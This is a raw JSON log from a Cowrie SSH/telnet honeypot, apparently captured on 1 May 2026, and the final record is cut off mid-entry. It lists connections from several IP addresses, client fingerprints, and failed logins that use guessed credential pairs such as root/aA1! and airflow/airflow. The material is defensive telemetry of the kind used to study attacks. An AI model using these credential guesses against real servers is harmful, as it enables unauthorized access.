{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:58:43.854890Z","src_ip":"182.253.79.194","session":"ef9c1db997a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:58:44.117731Z","src_ip":"182.253.79.194","session":"ef9c1db997a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aA1!","message":"login attempt [root/aA1!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:58:45.203503Z","src_ip":"182.253.79.194","session":"ef9c1db997a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:58:46.470971Z","src_ip":"182.253.79.194","session":"ef9c1db997a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":43666,"dst_ip":"159.203.135.109","dst_port":22,"session":"8de9346853d6","protocol":"ssh","message":"New connection: 122.168.114.167:43666 (159.203.135.109:22) [session: 8de9346853d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:58:57.401736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:58:59.353619Z","src_ip":"122.168.114.167","session":"8de9346853d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:58:59.357045Z","src_ip":"122.168.114.167","session":"8de9346853d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"airflow","password":"airflow","message":"login attempt [airflow/airflow] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:59:08.050502Z","src_ip":"122.168.114.167","session":"8de9346853d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.2","message":"Connection lost after 13.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:59:10.586115Z","src_ip":"122.168.114.167","session":"8de9346853d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56002,"dst_ip":"159.203.135.109","dst_port":22,"session":"23b712fb294d","protocol":"ssh","message":"New connection: 159.203.92.129:56002 (159.203.135.109:22) [session: 23b712fb294d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:59:21.223065Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:59:21.226639Z","src_ip":"159.203.92.129","session":"23b712fb294d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:59:21.230956Z","src_ip":"159.203.92.129","session":"23b712fb294d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app123456","message":"login attempt [app/app123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:59:21.306765Z","src_ip":"159.203.92.129","session":"23b712fb294d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:59:22.311819Z","src_ip":"159.203.92.129","session":"23b712fb294d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":46078,"dst_ip":"159.203.135.109","dst_port":22,"session":"f167e875c54d","protocol":"ssh","message":"New connection: 122.168.114.167:46078 (159.203.135.109:22) [session: f167e875c54d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:59:38.003263Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:59:39.471535Z","src_ip":"122.168.114.167","session":"f167e875c54d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:59:39.475268Z","src_ip":"122.168.114.167","session":"f167e875c54d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":55808,"dst_ip":"159.203.135.109","dst_port":23,"session":"090fbb9d13d2","protocol":"telnet","message":"New connection: 185.26.126.47:55808 (159.203.135.109:23) [session: 090fbb9d13d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:59:40.428412Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.79.194","src_port":55164,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3a5726bdc84","protocol":"ssh","message":"New connection: 182.253.79.194:55164 (10.17.0.5:22) [session: a3a5726bdc84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:59:45.642297Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:59:45.646944Z","src_ip":"182.253.79.194","session":"a3a5726bdc84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:59:45.966058Z","src_ip":"182.253.79.194","session":"a3a5726bdc84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123@abc","message":"login attempt [user/123@abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:59:47.273424Z","src_ip":"182.253.79.194","session":"a3a5726bdc84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chris","password":"chris","message":"login attempt [chris/chris] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:59:48.044702Z","src_ip":"122.168.114.167","session":"f167e875c54d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:59:48.593796Z","src_ip":"182.253.79.194","session":"a3a5726bdc84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.4","message":"Connection lost after 13.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:59:51.387920Z","src_ip":"122.168.114.167","session":"f167e875c54d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.80.51.125","src_port":27059,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b214807ac00","protocol":"telnet","message":"New connection: 190.80.51.125:27059 (159.203.135.109:23) [session: 8b214807ac00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:59:56.704312Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33494,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c2ab7ee0049","protocol":"ssh","message":"New connection: 159.203.92.129:33494 (159.203.135.109:22) [session: 1c2ab7ee0049]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:00:04.937639Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:00:04.986440Z","src_ip":"159.203.92.129","session":"1c2ab7ee0049","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:00:04.996011Z","src_ip":"159.203.92.129","session":"1c2ab7ee0049","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app4321","message":"login attempt [app/app4321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:00:05.411388Z","src_ip":"159.203.92.129","session":"1c2ab7ee0049","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:00:06.503868Z","src_ip":"159.203.92.129","session":"1c2ab7ee0049","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":15.266680717468262,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:00:11.970874Z","src_ip":"190.80.51.125","session":"8b214807ac00","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":48484,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c4a3426543f","protocol":"ssh","message":"New connection: 122.168.114.167:48484 (159.203.135.109:22) [session: 4c4a3426543f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:00:16.692489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:00:18.539658Z","src_ip":"122.168.114.167","session":"4c4a3426543f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:00:18.543735Z","src_ip":"122.168.114.167","session":"4c4a3426543f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.46781015396118,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:00:19.896103Z","src_ip":"185.26.126.47","session":"090fbb9d13d2","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"cursor","password":"cursor","message":"login attempt [cursor/cursor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:00:28.400070Z","src_ip":"122.168.114.167","session":"4c4a3426543f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.2","message":"Connection lost after 16.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:00:32.879080Z","src_ip":"122.168.114.167","session":"4c4a3426543f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":48370,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2277386cbea","protocol":"ssh","message":"New connection: 159.203.92.129:48370 (159.203.135.109:22) [session: d2277386cbea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:00:49.829487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:00:49.834299Z","src_ip":"159.203.92.129","session":"d2277386cbea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"m